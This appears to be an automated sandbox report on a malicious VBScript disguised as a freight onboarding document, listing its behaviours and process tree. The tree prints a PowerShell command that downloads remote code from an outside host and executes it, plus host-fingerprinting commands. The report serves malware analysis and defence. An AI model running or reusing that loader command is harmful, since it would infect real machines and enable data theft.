Analysis
- max time kernel
149s - max time network
148s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
24/07/2026, 12:57
General
- Target PACWEST_FREIGHT_ONBOARDING_ONLINE_UPDATED_2026.vbs
- Size 151B
- Sample260724-p7ectsen3t
- SHA256 4fa80dd91b3ad9eface9d55955ddae72ece88436520ebfa2a29814038f161586
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Enumerates processes with tasklist 1 TTPs 1 IoCs
- Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 46 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PACWEST_FREIGHT_ONBOARDING_ONLINE_UPDATED_2026.vbs"1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -c "irm https://cds.aiservices.workers.dev/p/1 | iex"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\wscript.exeC:\Windows\system32\wscript.exe //nologo "C:\Users\Admin\AppData\Local\WebServer-TIGMGOLM\nodeupdate.vbs"1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\WebServer-TIGMGOLM\node\node.exe"C:\Users\Admin\AppData\Local\WebServer-TIGMGOLM\node\node.exe" "C:\Users\Admin\AppData\Local\WebServer-TIGMGOLM\main.js"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "tasklist /NH /FO CSV"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /NH /FO CSV4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -Command "$p=New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()); if($p.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)){'admin'} else {'user'}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Cryptography').MachineGuid"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\wscript.exeC:\Windows\system32\wscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
ModuleAnalysisCache
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_1sa5kgrd.ari.ps1
text.js
text.js
LICENSE.md
LICENSE
LICENSE
fetch.js
license
license
LICENSE
LICENSE-MIT.txt
index.js
package.json
index.js
package.json
LICENSE
LICENSE
package.json
package.json
LICENSE
index.js
package.json
package.json
package.json
LICENSE
LICENSE
LICENSE
LICENSE
.env
main.js
corepack
corepack.cmd
npm
npm.cmd
npx
npx.cmd
nodeupdate.vbs
memory/1440-13-0x0000021136970000-0x0000021136980000-memory.dmp
memory/1440-12-0x0000021136970000-0x0000021136980000-memory.dmp
memory/1440-15-0x0000021136970000-0x0000021136980000-memory.dmp
memory/1440-20-0x0000021151390000-0x000002115139A000-memory.dmp
memory/1440-14-0x0000021136970000-0x0000021136980000-memory.dmp
memory/1440-0-0x0000021136970000-0x0000021136980000-memory.dmp
memory/1440-16-0x0000021136970000-0x0000021136980000-memory.dmp
memory/1440-21-0x00000211513C0000-0x00000211513D2000-memory.dmp
memory/1440-11-0x0000021136970000-0x0000021136980000-memory.dmp
memory/1440-10-0x0000021151760000-0x0000021151922000-memory.dmp
memory/1440-7-0x0000021136AF0000-0x0000021136B12000-memory.dmp
memory/1440-1-0x0000021136970000-0x0000021136980000-memory.dmp